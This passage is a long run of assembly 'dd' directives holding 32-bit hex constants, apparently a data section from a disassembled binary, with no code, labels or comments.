dd 0C02C5AC1h, 99B6F7DBh, 7AB2ECABh, 0BE214DEEh, 0F94B1820h
dd 7AEBD095h, 0AC512647h, 8A270211h, 56AFDF74h, 8E49604Dh
dd 0F45B917Ah, 9526B486h, 30534D11h, 1040ED43h, 876FB55Bh
dd 47B7A140h, 20E52ED6h, 14F90895h, 0E0EB8009h, 0C551B723h
dd 0AA740BF4h, 0A841D9Eh, 0EB57840Fh, 0B84EC9CAh, 0EB04965Fh
dd 1D85DFBFh, 0ACFED4AEh, 3FB64AD3h, 0F599C4E3h, 0C578AD07h
dd 79580038h, 0C2698E1h, 4C1BEC01h, 4EBF76FAh, 4FA74FF0h
dd 5B6EE350h, 90D390ECh, 0F95BBFD1h, 6ADF8B12h, 65BCD2B9h
dd 0D3806200h, 81F88B5Dh, 8F760BEFh, 0C256219Dh, 5218A588h
dd 0AFE065CDh, 93AB6E6h, 71EDCC92h, 6B0393C4h, 3175AA4Ch
dd 0AD5F9840h, 0A43E027Ah, 473DEE69h, 1B5994C2h, 5FA27E85h
dd 9DEF60ABh, 0ABC916B9h, 7381FBD1h, 69F87FBBh, 0AA2D0F6Eh
dd 5E81E636h, 4AE0A803h, 9888FCA3h, 5C8D8989h, 26A8B17h
dd 0BAE7AA00h, 604F505Bh, 32000FA3h, 7B91CBEBh, 3AFE81D4h
dd 60B870E5h, 0D84C369Ch, 7C55C45h, 2AE4D802h, 66575FEEh
dd 0FD614E89h, 8D6E4A2Ch, 67B3D800h, 0ACC4AED7h, 759D3309h
dd 43216834h, 3C8E2E3Bh, 0F53AD7Ah, 7EE3D8h, 18E8754Bh
dd 8A1F7825h, 0E9FCDA09h, 0C219797Ch, 0F017415h, 1BAD0C89h
dd 4AF0DD9h, 0E71418F4h, 0ED9637C0h, 3D25AB63h, 64E8CDF9h
dd 73D46019h, 122519CAh, 0D6B5726Eh, 5BA89004h, 97A0688Fh
dd 20B440Dh, 0FCCECB01h, 0C8B707FBh, 30BFFC40h, 7ED713F4h
dd 8FE2DB90h, 0A4B5E041h, 4B12631Eh, 3B14D94Ch, 258D84B4h
dd 17E509C9h, 0E822BF01h, 9D6B420Eh, 0A8216D23h, 590D0EEAh
dd 0CD400BBFh, 14CEF26h, 8D94BD5Eh, 0FFF980AEh, 39C013E8h
dd 9F0E1205h, 0CF073DA5h, 47F77280h, 0D2AFD96h, 0E1A6190Bh
dd 2619774Fh, 9584705Fh, 0E9055Bh, 6D1252E8h, 29B237B6h
dd 4A39984Bh, 242E5C8Ah, 930C10B5h, 4D1061BBh, 70E60116h
dd 46141CA2h, 1A3D1087h, 0E71E414h, 49952981h, 4A322F0Ch
dd 0CFD0290Bh, 7E4D0997h, 377B4088h, 0B00011A0h, 0DF217341h
dd 14D63D77h, 957182F3h, 6D73592Dh, 3D045093h, 5B0C07F9h
dd 93D7250Eh, 886552EAh, 68684A5h, 6E1DE6Ah, 892DC656h
dd 6C41D42Eh, 79970914h, 0CCBF80DBh, 0E91E2268h, 70210E44h
dd 317365h, 12047710h, 54D8E7F7h, 0C82B3212h, 0F5008EA8h
dd 0BFD18BA1h, 27E67EC2h, 0A444E954h, 380D2C05h, 49EE858Bh
dd 3C78F508h, 0C908D97h, 0A10A823Bh, 42397229h, 7DB0002Ah
dd 2666DBBEh, 0E9611757h, 7DEA9C55h, 31058700h, 0FC81C8F0h
dd 0FA860054h, 431B4108h, 0F33F2EEDh, 2BCFD55Ah, 0BD0810B6h
dd 84C20BADh, 7D1E2C24h, 0A3A50244h, 22447D1Bh, 955128A9h
dd 0FD0C8B70h, 51785C10h, 7F60C294h, 0ED02E5BFh, 9D094756h
dd 6BA95585h, 1DE03F4h, 9CCA58B6h, 95727EF8h, 4AF905B2h
dd 6FA8E7B2h, 0F8FE6017h, 0F5B9490Bh, 0C5B768A9h, 0E08B978Fh
dd 0A2782235h, 0D9B9D2Ch, 4F0492C0h, 8997C9FAh, 9E79F376h
dd 19AACD9h, 7DD3FF0h, 0BD5DC2B8h, 0BBFEA5CCh, 0B4BF0F43h
dd 0B78445BCh, 9B3B6916h, 580680BDh, 0B76AEAFAh, 0FCEA38E2h
dd 90DC6D54h, 4BB77F85h, 3A5DC95Fh, 0DC80F49Bh, 0A9831F93h
dd 397B6409h, 45F7BD9h, 0BC439DBBh, 6AA2D35Eh, 0DA959900h
dd 0B093BF31h, 0CAB4F302h, 5E704D50h, 37BB5E6Ah, 13C81C50h
dd 0AE013F0Dh, 9561301h, 9134ED85h, 0F690B55Fh, 0C0009DBAh
dd 8E53C4F3h, 9FE35C9Ch, 335C9262h, 32AD5751h, 48DE365Eh
dd 47534EF3h, 7C228D4Bh, 712D25A0h, 95CDA7FAh, 5D3F3242h
dd 1F820662h, 3F5E2A75h, 0FE149F71h, 3922DF04h, 0A8A23FBCh
dd 8F70652Bh, 7BF26386h, 43FF05F0h, 0D0BF0E71h, 158589A4h
dd 0B30F6BBFh, 6000842Dh, 34619501h, 95E51B5h, 24F59D89h
dd 0FCB8FC3Ch, 83A69B5Eh, 80269493h, 67B7B328h, 7C955A99h
dd 7525BB6Dh, 6AEAC979h, 0B001E73Ah, 1785DDAEh, 64604BC0h
dd 0C9C18331h, 5E5302BCh, 0E8175E61h, 0EAF67E36h, 0A08E4F12h
dd 0A45919F7h, 4100D2ACh, 54E442BDh, 975F4C6Eh, 105F75E2h
dd 559F5Fh, 0EACF0818h, 445C6FEDh, 164783Dh, 81C409E1h
dd 0D42FFBA0h, 0C1F409DAh, 0FBB51CD0h, 0C971D04Fh, 80A7FE01h
dd 0F014CF32h, 48DCA3Fh, 5350DE8Bh, 0FE1734AFh, 5FC8C999h
dd 0D61D68Bh, 0C010FE7Fh, 40A265B3h, 5809F87Ch, 59427BF8h
dd 51611815h, 0DD1F8FEh, 0F83F752Fh, 122A2049h, 0AB025FE9h
dd 0E7E777Ah, 0D7640560h, 0BD29C160h, 32991C91h, 105D08h
dd 8DDAE381h, 9997748Fh, 0B1715754h, 5F022CF1h, 73273A5Eh
dd 0E5F1D8EDh, 0C16F7FAh, 9AA256Fh, 0DF5C0269h, 0D57004EBh
dd 1DB2825Bh, 4052365Eh, 5B02C057h, 5696F89h, 0B529D37Eh
dd 2DAA0085h, 979A7F44h, 3729F780h, 6E0083EEh, 3188D2C1h
dd 97051DBDh, 2AFC4FB2h, 9F8317D4h, 0FC033503h, 75B380B1h
dd 2595BC0h, 12A8F78Dh, 2F41A713h, 0E09657C5h, 50B4B796h
dd 0AE40B49Eh, 176E9C20h, 8A8664h, 7C15CA0Fh, 73002439h
dd 55EDBF1Ah, 595F6CD2h, 0B0BCBC96h, 9E1FC9E6h, 1D297DCh
dd 2B0F61F3h, 154B119Dh, 0E15A6656h, 5D7A50B8h, 69DAA467h
dd 14C479C4h, 0E2892EB7h, 203AE149h, 7F7805E1h, 0CC93BB00h
dd 0DCE35A9Ch, 1A96032Ah, 811611AEh, 3E20544Ah, 26ACBEC5h
dd 7112FD6Ah, 6A0A315Bh, 0D30928Dh, 0D1945B16h, 4DAB6DBh
dd 75BCBFF9h, 3E9D2004h, 0AC4D8E5h, 53D4D2FFh, 12650B7Fh
dd 2FAB5C59h, 3C60F1EFh, 4B3F12Ch, 0B21E254Eh, 804BBC50h
dd 98C6702h, 9CED00D9h, 0CC519D65h, 9A01077Ah, 0A3AA0AF4h
dd 6170FAD7h, 131A9F5Bh, 70BD8D4Ch, 6102E9E3h, 0AA960277h
dd 5ACD5E71h, 7D56B2CAh, 0F72A3651h, 66D4B0ABh, 7BC6002Fh
dd 0D1B9C023h, 0F20ACF81h, 0DE3699B1h, 0E909C91Eh, 979FE61Eh
dd 53717F1Dh, 4551F120h, 0FBBC9223h, 978E3EF2h, 0E875BD92h
dd 3801028Eh, 1D080620h, 12847140h, 6492D4A5h, 0E12F71F2h
dd 61FBDFE2h, 82181B59h, 731A4D00h, 45B1E130h, 0CDDE4B8Ah
dd 25A77C6Dh, 3EBFC51Eh, 258D2D2Ah, 0AC44890Fh, 51CDD84Bh
dd 443D95D0h, 7E09BB2Bh, 0A23E8040h, 441FB73Ch, 9B6EFFFFh
dd 0CD548081h, 407762DDh, 55351E6h, 0CAF6978Eh, 0AFDB6A0h
dd 4E88594Fh, 0D9789Dh, 24AEF763h, 22FFD2EEh, 780BAA00h
dd 9ABF6215h, 0A59D2F33h, 3102D6A9h, 0BAD518C5h, 1FB7556Fh
dd 4CDDC42Dh, 0F4738D81h
dd 6F4297F5h, 29E58263h, 0B88169D4h, 0DCC23D8Fh, 0F281C04h
dd 0D2B4BC44h, 9B5FB2E2h, 792C4D3h, 259DF7F4h, 497B2705h
dd 0DBD2B82h, 4BAD5E14h, 501905D2h, 5B0C5320h, 0B68D352Fh
dd 0D206E0C8h, 80500B87h, 52184405h, 2EE0FC6Dh, 0B3CD284Bh
dd 4FE7202Eh, 6F00503Ch, 0B355D019h, 24A64452h, 2E00FE6h
dd 6A5BCF6Dh, 0E278D75Bh, 147D027Ah, 5B882BAEh, 46D6985Ch
dd 0BB61001Ch, 4B8A1EADh, 0F0D37401h, 63F617AEh, 2937CC46h
dd 216B85ECh, 4B94D80Ch, 80FC80D9h, 45A47AD7h, 0A2DF8102h
dd 5E5726BBh, 0CF806161h, 43282F71h, 0DD39D37h, 9BF921D9h
dd 8FCE62Ah, 4B98Dh, 74BF5096h, 2377BC12h, 4614F8ECh, 0C05959EDh
dd 38E5CC7h, 0D9CE9578h, 410AED95h, 0F6535A6Ch, 184E1177h
dd 3EB494D8h, 0F800DC25h, 6D35F156h, 0E117E08Fh, 7182DB81h
dd 44DE6F14h, 0FC26714h, 801A818Dh, 342FD4F7h, 0E2E05242h
dd 0AF328822h, 5C009344h, 0EABC68A2h, 1D3D3Ch, 6D1EC628h
dd 0CB23B46Ah, 0E63B6925h, 40369E15h, 31D1C6C5h, 353DE400h
dd 0BC213E41h, 0D2707C6Dh, 0C002E220h, 0E9DBB70Fh, 0E009979Fh
dd 7CCBBC4Dh, 97080FFh, 4AF781C5h, 3261DD05h, 65FBC18Bh
dd 0FF84EEE8h, 29B82DABh, 8BC8A940h, 0EE280275h, 1EC9D18Eh
dd 7474C65Dh, 0F2B05BFh, 3160504Dh, 40F27C94h, 2ED5B29Fh
dd 25DEAB00h, 6052C1EEh, 7D9702BFh, 5E5378E7h, 0D4CB3256h
dd 7195DC99h, 5BC5000Dh, 0F8FFD1ACh, 12475058h, 24F606A9h
dd 0B38270A4h, 0AB01398Dh, 519526A3h, 0AD40F574h, 951983E4h
dd 2D783DFBh, 0F9A0058Fh, 81BB4C8Ah, 2F26650Eh, 19230C6Ah
dd 56352000h, 5AD6A6F4h, 0C53FE1F9h, 200C062Ch, 4A9D010Dh
dd 0B3362ECh, 7043F3BFh, 0CF0C012Fh, 42CD02EDh, 9DB874B3h
dd 6FE0C8CDh, 97943E6Ah, 83A307B5h, 88ED4D80h, 0B4E9CFDDh
dd 65844027h, 0E40F7935h, 0E0310AC5h, 0F78A321Dh, 855054Fh
dd 46FE882h, 0AF0C2DC5h, 40902E75h, 4AFF805Dh, 7F6ED1h
dd 8D6EF7A3h, 0B5023A46h, 0ECEEC290h, 77015D7Ah, 1ADD752Eh
dd 282F07A3h, 0F5886C05h, 0F8024E6Ah, 130D109Bh, 0A2B0BE31h
dd 0F2EE4523h, 85CC00F9h, 696AE19h, 13180016h, 74959BE5h
dd 0FFAA892Ch, 50037DFh, 0BBFB7BBEh, 1823496Bh, 5D018B1Fh
dd 6EE9FFFDh, 10138E6Bh, 3F4883EEh, 0ED1D8D12h, 3B26E88Fh
dd 15120BBBh, 1E2E322h, 505FF857h, 8B5FC0B3h, 5CE15580h
dd 5995DE8Bh, 0AAED4BE7h, 66F49640h, 497812CFh, 4DBEE636h
dd 0BCDD4A2Dh, 8031DA2Bh, 97356337h, 0BD890D07h, 6A4D0569h
dd 2D1930C1h, 0A198A73Bh, 622E1135h, 0B0252B8Fh, 41BF8800h
dd 0BF642925h, 2AA15640h, 7560E681h, 97C17F85h, 58297D29h
dd 745745Ah, 0A9256538h, 795842A9h, 970766B5h, 0F09E7A90h
dd 723942B8h, 4CCB9F5Eh, 3EB8147h, 5B21AC51h, 8888A761h
dd 78271291h, 2B14415Bh, 2D415B54h, 61E8FC30h, 0ADC82BD9h
dd 4440F41Ah, 81C28CD1h, 48E5EE07h, 0C3A0FDADh, 9DF3DB6h
dd 0D0BC8E33h, 52DCF59h, 3D1F0518h, 2DB82356h, 0AD958984h
dd 73562FA9h, 7BA19932h, 172EB85Fh, 5CD810Fh, 0B6C722Bh
dd 88EFF525h, 0F709BBB6h, 0DD2C5EA7h, 0A560F21Ah, 2A51859Dh
dd 4F482B30h, 75A245h, 54839CE3h, 15D734FFh, 0AB2C701h
dd 11446338h, 2B40A5F5h, 459D0BFEh, 7DDCA0C9h, 73A79095h
dd 3E087737h, 0A00B20Bh, 8F75F034h, 1302FBF8h, 355DC9FEh
dd 0C2705CE1h, 60040BCCh, 0A41AE5B0h, 26A52DA8h, 8B206BD9h
dd 7F1F6D6Bh, 31404B15h, 9A8212h, 4357C021h, 0B9F99F49h
dd 0CF089D25h, 0BEF9400Fh, 0D35CCE78h, 7A110ECh, 8A4DC34Ah
dd 997D3B97h, 827B2B56h, 82F07553h, 3DBFBA70h, 844680E9h
dd 0A15F59EDh, 0E1175D71h, 158860D4h, 0C62C009Bh, 301A782Ah
dd 0AD01982Eh, 0B959FC8Dh, 32E4C5F4h, 621E9761h, 0E758109Fh
dd 5E6004Ch, 0BB4B74AAh, 132D21DFh, 82D97EFCh, 18E59509h
dd 0D5933257h, 9C613890h, 2B3AD900h, 641B84A4h, 7A5A139Dh
dd 7584A860h, 32397424h, 2F22D908h, 6D4B4F51h, 700D4047h
dd 0DC264082h, 592D5891h, 41D4FA26h, 674C05DCh, 0AF8C0F66h
dd 3900428Ah, 938B8494h, 0B70E7ADCh, 60D60656h, 0A28EE117h
dd 1265B472h, 2543B205h, 1745C59Fh, 0C1CADE58h, 4A6E2A64h
dd 1FCBC7F0h, 1E24DB81h, 4FC425B5h, 9C88BB04h, 54B84B14h
dd 4DBD33C1h, 0BFAA062Ah, 0E1FF9B48h, 68432F96h, 0E40EB8D2h
dd 33C0110h, 927DC0C7h, 46282E05h, 3B528931h, 0CC092920h
dd 0A3AF0112h, 0AC205E8Ah, 8F79F8E4h, 0BB5B3C01h, 7C563BCBh
dd 255B282Eh, 9F8D8988h, 0BF6666A0h, 14979AE8h, 9CD85563h
dd 0D154B56Ch, 0DCFCB460h, 0AD4AE102h, 5C427B77h, 60932455h
dd 9798287Fh, 803EF03Fh, 25C354A7h, 71129031h, 25D2F4EBh
dd 67C27ECBh, 9DCFED6h, 0CD7B983Ch, 0F9705972h, 0D0EE5395h
dd 0D30A54F7h, 0A00B53EFh, 51939709h, 5B5CA596h, 36B8FAC4h
dd 38090CBh, 0B8666050h, 0E4E90C7Dh, 3BFB61F1h, 7F6A0782h
dd 0A5E0824Dh, 0FE3F8D91h, 0D2F62489h, 0C6D0842h, 85D86803h
dd 3ABA5C8h, 0D786279Dh, 88F0F9DCh, 0AD594B8Ah, 595FFBAFh
dd 24C51816h, 923C678Ch, 3F1B72Ch, 39E9DC8Ah, 7E6E8502h
dd 6E840901h, 219030BCh, 819830F1h, 762583B9h, 3C5925B6h
dd 0D4D1DC69h, 62A9A33Eh, 369CCh, 33D19D23h, 0A144C595h
dd 34FF865h, 2ABC2802h, 5CEF6F76h, 3186905h, 0F50014F2h
dd 8380DECCh, 9A15158h, 5841E9Fh, 0DFA80C71h, 5FDBFABDh
dd 0F0D7E689h, 2D30D94h, 10296676h, 467DD98Bh, 0E058BDDDh
dd 1A9D264Bh, 0BCC0AA38h, 21A2977Ah, 0D15B7800h, 0B767D38Ch
dd 61FC253Dh, 377505C2h, 0BB532F55h, 0DC19613h, 5FD65BDFh
dd 0B5FC619Ah, 0D31501DEh, 544B8F5Eh, 1AF5FAC7h, 27E15480h
dd 0E8D82EFBh, 0B8B627C4h, 0F4C6F410h, 0AE64D600h, 35939FBh
dd 75E200D2h, 0FA23D5F9h, 491E1A83h, 0B8C9A768h, 545964h
dd 0EC24D470h, 7E003653h, 0FEA60C20h, 3D7117E6h, 9005265Ah
dd 0E051E979h, 69A5FCAh, 0A7E1580Bh, 0C211ED64h, 0C0566F73h
dd 0F19D2961h, 900D096Bh, 0AA00B171h, 0E781757Ah, 0ABC30072h
dd 38CC6F5Dh, 29255445h, 772FC606h, 65F1BD5Fh, 5C8D1DB2h
dd 8C446975h, 0EB171000h, 0A8AF51FEh, 60DA70FAh, 8190485Fh
dd 47121DC7h, 0C7B60B96h, 12A1BD08h, 16DE6BA4h, 0B84609A3h
dd 51F16976h, 0ACFC64E6h, 842AA310h, 2DE899EDh, 80046FF8h
dd 1FE9F92Ah, 0DE84D7ACh, 0EBD8ACF5h, 0DD9D8981h, 8916A15h
dd 8E6B12BDh, 8FAD2A4Eh, 0A5A0B329h, 9F1F9E66h, 2B70955Bh
dd 0E09A255Bh, 1C599453h, 1F00DC18h, 0E58F1852h, 9FB5D5Fh
dd 383CBB66h, 17ACD159h, 509C2A09h, 0CCBDBFFBh, 0B6ECD980h
dd 250DC5BFh, 357342BCh, 269D8D04h, 70068DAAh, 67BE1C48h
dd 79DD92EDh, 85E9D82Ah, 65192125h, 646DAF50h, 0C01C3340h
dd 15992D38h, 9AC11A90h, 8791AE3Eh, 0D3C5A67h, 5EACF5D4h
dd 7CE5A2D2h, 80566B3Bh, 75C5B161h, 39276C42h, 9680CB21h
dd 6032849Dh, 0CE28B70Fh, 9959D61h, 9EBD5D7Bh, 47F8AC13h
dd 0CDBD0D12h, 50303EB5h, 4AD58D01h, 6D7CC912h, 0E67AB9A5h
dd 88C25A06h, 2050202Ah, 8409F381h, 5B76A314h, 0F24DA7A3h
dd 5637BB42h, 81606094h, 2A16FAE3h, 58AB45CEh, 0BD035C5Eh
dd 0C520C124h
dd 26FD12BBh, 5F601F38h, 89CA6A8h, 180A8D9Dh, 888A2296h
dd 5BDA0BBFh, 0FCA63F45h, 8459129Fh, 0AA9EA834h, 6552DE1Fh
dd 54C0125Fh, 31FBA577h, 4A7E7CD0h, 2292CA2Eh, 0FB3CA132h
dd 0F2BAB32Ah, 0A7F53219h, 7159C20Ah, 2D8A016Dh, 6B3A3745h
dd 31D0BDDAh, 4FAF4EC1h, 2916D97Dh, 89AA92F4h, 10A27FB7h
dd 0C8BA9A4Ah, 9BD3C91Bh, 0FCF78084h, 0EBB0B5CAh, 0EFF8752Fh
dd 2E63DA03h, 0C140BFC9h, 122B7BD5h, 0C0559EA9h, 8BDA7DB8h
dd 31F804FBh, 0AB22F18Dh, 8945EF38h, 9442F68Bh, 8919BAFFh
dd 8AFDEA6h, 0C6162311h, 1EE85CF9h, 5A376500h, 51FB46ACh
dd 0D960CBE2h, 16419B50h, 72E02D2Ah, 0EF5C00C1h, 0FF6CFA22h
dd 0D82600DCh, 48E619CDh, 0F47B65E9h, 515A60F9h, 0CBC2854Ah
dd 18C53084h, 6114448Fh, 0CC7E9078h, 4B95521Eh, 51619202h
dd 6552ADDAh, 0A319D10h, 7D38180h, 5A7899FDh, 3596695h
dd 0F936D48Ah, 0A8168250h, 12EA9257h, 4AFBA274h, 37EF5085h
dd 788D8376h, 0AB7544A0h, 0BB907F01h, 16659B55h, 0BFBA423Fh
dd 84D50753h, 0A7AE8822h, 684C01FAh, 0A6BA44B6h, 6E4A3E29h
dd 79E70068h, 0F0A31DC6h, 667B948Ah, 0FB18FA66h, 0CB0F6A0Eh
dd 0B62277D6h, 0AE7DDE91h, 0D94D5B00h, 819AE2A9h, 0C2F6A3DEh
dd 256CF22Dh, 735B2611h, 7BF16EAFh, 39BA9565h, 195D04FDh
dd 0F63C35ABh, 76ACA278h, 0E9BD0F3Eh, 0E331ACD2h, 0B6304AB3h
dd 0B5A5F0B4h, 4B020E8Bh, 0E6926AF9h, 0F010E0B3h, 0BDBB3ED1h
dd 5B122082h, 487F8529h, 2DB790C7h, 0CDD6503Ah, 0AD8A1041h
dd 0B74063EDh, 0B0AAABBh, 905F70C0h, 5DC4C54h, 8671AB77h
dd 411DF060h, 0CC2A2341h, 0DC9C6190h, 0C9975469h, 5060E2B0h
dd 0E6003090h, 0BE5A03E4h, 931286Dh, 0CDE96167h, 0F2734C56h
dd 0E3800192h, 4C806BE0h, 9DF93F70h, 17598053h, 0E4091E18h
dd 7F8B3220h, 8D897310h, 540D1125h, 8B35EB7Dh, 258C4D94h
dd 257A65F8h, 0EF40484Dh, 5886E3E4h, 9112204Fh, 0A43CAC03h
dd 84BDDBEAh, 6BABB706h, 0F1B2354h, 0AB20E959h, 5C8031B5h
dd 0D98D290Ch, 95FF5318h, 0CE4F8710h, 0EE00B87Eh, 0F4673A6Dh
dd 1D2B2601h, 0EE1AF40h, 4C10F1BDh, 104B76EBh, 0DC837ADEh
dd 0A1D18EA6h, 0B9622B57h, 0F718DDFCh, 0B070131Dh, 8277D99Dh
dd 0A2DBD03h, 6070E602h, 12C6B8D7h, 0B4FC71E4h, 2FC9D8B9h
dd 4AB258F5h, 0B5E523BAh, 89091D92h, 29388E7Dh, 8E9B5916h
dd 0D3106DBDh, 2401BC04h, 0BFC82B04h, 0D1D9B1CDh, 0F37B2821h
dd 0F55650E4h, 0CACACE95h, 133DE546h, 849BF85h, 739FAC56h
dd 3264B55Bh, 0A5112121h, 58CC874Bh, 891A6166h, 182145Fh
dd 0F1822904h, 0E6D522AAh, 0A9BCC406h, 0DE62AA0Ah, 0A52A2F40h
dd 88FE1615h, 0DC009A37h, 0A8084BB3h, 0F24AFDDh, 6539EF19h
dd 0D1177007h, 634C8C3Ch, 50007D92h, 3180BCDEh, 985FFE8Ah
dd 7B95516Ah, 182D8889h, 5750FA54h, 0CD048216h, 0FC6A495Dh
dd 82C960CFh, 4D0B2EDFh, 0DA59EEh, 8451C510h, 11E73CF6h
dd 169F5A24h, 0E570EB5Bh, 5B36B9FEh, 800B9E08h, 273A2D71h
dd 79072DEFh, 0F46BE511h, 583D1646h, 0AC7683AAh, 0D8E17062h
dd 744F57Ch, 1B8DD33h, 0AC0C74BDh, 0C649C8Dh, 648B15B7h
dd 4A969DFBh, 0D7E8DA09h, 7FE96AE9h, 0CDE0754Dh, 12D22BDCh
dd 0A9B9DB80h, 93FDB4DDh, 1FAFCA8h, 0A7AFD604h, 65813BBBh
dd 0F76B06C9h, 737A7AEh, 85236040h, 98284BE1h, 0EF0001BDh
dd 94290271h, 330D74h, 5BB98AB4h, 9284FDE0h, 9914A609h
dd 0BFC85861h, 2E4096CFh, 2FB169D1h, 0D45B3EDDh, 2C191B59h
dd 0AD78C004h, 4E5B5751h, 0D77EA95Fh, 9DA879FDh, 84EA9595h
dd 0AC75BD33h, 0AC8A4A5Bh, 0FCB46D2Eh, 0FA973170h, 9D0B13DDh
dd 3770AAEDh, 5A35B589h, 5022B717h, 0FB97B1FBh, 464D27E7h
dd 7A625E40h, 5F2616FDh, 0DF270314h, 8043506h, 6C4BA87Bh
dd 0D5A7C1ACh, 0D606DE04h, 24356B0h, 0A2D8BF64h, 0CC56304Bh
dd 0FF04FA53h, 420204BDh, 546A264Eh, 0AC161673h, 2BFCE23Ch
dd 16DC5574h, 0BC5FE20Ch, 0B060275Bh, 0BDDD9520h, 8C2D7D52h
dd 704353D9h, 0E212212Ch, 0F4B11662h, 36F10B26h, 11606C4Dh
dd 9D160A55h, 2A93E1D5h, 52AFFF53h, 0BB6BFE92h, 31001823h
dd 0BF74BEDDh, 0BB6702B3h, 4DA9524Ah, 0DC27F956h, 0EB09F6DDh
dd 0F929E8ECh, 79618186h, 0ECA3BD68h, 0D7F0808Ch, 2C26381Eh
dd 0F24A7151h, 0F7800F07h, 0B9926345h, 8B865893h, 43E5DA00h
dd 0D11E1768h, 4F54805Ch, 81DFCB31h, 0E5E84880h, 0AFB37F4Dh
dd 0E125CC90h, 0A406C521h, 0AB02D604h, 4D91E5C1h, 4B035C27h
dd 56801CB7h, 17E03532h, 1E912FBh, 99099102h, 0F92D2B2Dh
dd 4AC1E35Ah, 0D0B20722h, 9B09EB81h, 59790285h, 45096F5h
dd 72755D9h, 0A97E295Fh, 0E0E5542Eh, 792FBB60h, 0B966EC00h
dd 3E2CAFB2h, 0AA9C8C61h, 663D5CDCh, 466DA13h, 0EF896E35h
dd 65C035DBh, 54D9AE12h, 53C18D4Bh, 6E60075Ah, 950DB2A5h
dd 4D25C565h, 15DB407Ch, 190D363h, 0ADBCF95Eh, 670DA89h
dd 0D3BE7AC0h, 1FE880E4h, 0D29661E1h, 7424AEFAh, 7380E4E8h
dd 0B5ACFF7Ch, 31F78C1Fh, 0D672EA8Bh, 565C2F1Eh, 87AB5569h
dd 7141A7DEh, 0D4706E0Dh, 614F60h, 8D8996DCh, 0BA952665h
dd 3BEDC6F1h, 841F89A4h, 27750058h, 70A1C890h, 0DC209625h
dd 846841C4h, 924FF9E2h, 0B7B0D8DAh, 8FE13D7Bh, 0AED7666Bh
dd 6F85AB3Eh, 83B8C08Bh, 0F401AC50h, 41DAC5B4h, 0C83A3152h
dd 0C4BD5BFDh, 0E8F94086h, 3430860h, 0C5B701Ch, 0F2E6B329h
dd 87AAD924h, 0E2C6D7h, 9675B1F1h, 11EAEB13h, 0B8C65A14h
dd 0BFF90E9Ch, 0CE564157h, 9E73F2Fh, 7EC78070h, 9116B57Fh
dd 0D5E08019h, 5AD75094h, 0C0E7AC61h, 11D81A10h, 1D042418h
dd 4EFD12B4h, 0B63761C1h, 0F156E315h, 4C2054D6h, 0CF094AFDh
dd 9D1274EBh, 39AA1869h, 5E0E6C73h, 39BCC2EDh, 2C003472h
dd 83BDDDCh, 0BF37E938h, 0CF6529EFh, 0A5623BABh, 0EEA099A6h
dd 0DC7FD02Ah, 82C18839h, 87CACCCFh, 12B5FE47h, 842DE309h
dd 7ABA0419h, 0FEE00226h, 42FB8E78h, 1400D796h, 9D297AEAh
dd 0D0A6D24h, 67A4DF79h, 4F78DECEh, 6960F00Dh, 0E149C232h
dd 417F40E6h, 0B7D19703h, 0F8DB044Bh, 78D143B8h, 3E00A7ACh
dd 0C2E340CFh, 259531E8h, 12CD17E9h, 31601DE4h, 7E0121B0h
dd 6240C8F9h, 0A940753Ch, 25BFD8E7h, 0B85679B7h, 0FCA4EDE5h
dd 0A8EA09BFh, 0C1501E95h, 3DC9FB4h, 0F1A579D4h, 0F0C51BB3h
dd 0A4AC5FAEh, 0F19D3309h, 0E80F560Bh, 7059497Fh, 1F11A901h
dd 0FF0D271h, 57F63DB4h, 51602D46h, 3D46B272h, 9A2A8AFh
dd 2A54C585h, 9C76DC4Bh, 6FC66561h, 410829A1h, 11028C06h
dd 47398FB3h, 0A826EDD2h, 284D0098h, 93B6A156h, 524CD559h
dd 4FD74C8Ch, 4C24C45h, 6FE03EF6h, 0DB0008A4h, 37607E76h
dd 12FCD7EFh, 0E197CF80h, 2EEBD97Dh, 0D0397A29h, 20F63EA9h
dd 807FCC4Ah, 0CFA8D32Fh, 0EAE240DEh, 0CF0236A2h, 2FBEC6C8h
dd 6591828Eh, 52965C09h, 2C7E4D40h, 544D5995h, 8B857197h
dd 114450F8h, 0FEDB1007h, 5F99C2C1h, 0F1159180h, 5D49933Ah
dd 9D137390h, 60EE16C5h, 0B37AA099h, 1F75C0FDh, 27DB539h
dd 0C0BB7ED3h, 116493E1h, 4A2AEDE0h, 0A3AEAFC4h, 3F9B00AFh
dd 57D5F50Fh, 0FEFF0F3Eh, 37F7EB1Dh, 0F62770A0h, 0E712C7F0h
dd 20AB1028h, 0CDABE6Bh
dd 5E864009h, 0C16BF65Fh, 423DD9Dh, 36A2C7ACh, 0FEF96022h
dd 98BB060Fh, 0CDB7F5F6h, 0ACD8C1BAh, 1E6970BCh, 2B1140Dh
dd 526F86E9h, 0B4CBB646h, 0A2BB3134h, 1BE8926Dh, 0A432392Bh
dd 11590941h, 9D069655h, 843E23B5h, 0A427B90Eh, 2542C1EAh
dd 0B5030126h, 953864DAh, 636B7C94h, 39375F44h, 0FA6AD380h
dd 74CD4CE4h, 1DE12565h, 35555D89h, 801D911Dh, 0CC99D13Eh
dd 0E47AFB82h, 8D5B3105h, 0C0B0A552h, 3BF0951h, 6189DDC1h
dd 0CC49A59h, 0CA9BE440h, 180076FDh, 0E8E54E73h, 4AE94268h
dd 7F88B167h, 82013D6Eh, 0E5C9D663h, 55C92B29h, 213E72Ah
dd 0A3FA43F2h, 693B4127h, 605B8E52h, 2FA2EC24h, 0F96076B9h
dd 564A51D8h, 0E25BD4F0h, 9D2CB6E9h, 5CC84ED5h, 0E9E80114h
dd 92002A4Bh, 0D1A41472h, 6FDF0062h, 0AC1C9986h, 0D6005AC9h
dd 22A08F66h, 0C4E3B2h, 0FE6ECCC7h, 37A70817h, 73D15E00h
dd 3EBD7203h, 9C270ECEh, 52A013B2h, 0ECAD169Fh, 1EEA504Eh
dd 80F080E3h, 0FC25A0BEh, 1086F200h, 0B1BCAE7Fh, 91010082h
dd 0BF2F8CA5h, 70C6A77h, 29FA1FA6h, 9FB01E81h, 2DA0C197h
dd 20A9199Ah, 0E9795C03h, 7A4B25C0h, 21A390h, 0F5A8ADB1h
dd 55BC581Eh, 32412909h, 5E0D7FDh, 0F1072595h, 8B3CA312h
dd 0B7A5B9F0h, 83C5300Ch, 449FA84Ah, 0F0E39800h, 2AC0EF24h
dd 57D4014Bh, 0BFF767CBh, 0C55F4CEh, 0EF30C360h, 30C5F1DEh
dd 52131E3Eh, 943382F2h, 1F6DAA9Fh, 87B02098h, 0E3CAC3h
dd 18319C1Dh, 0A84B9502h, 0A5701B97h, 9941EFCDh, 5ACA2A87h
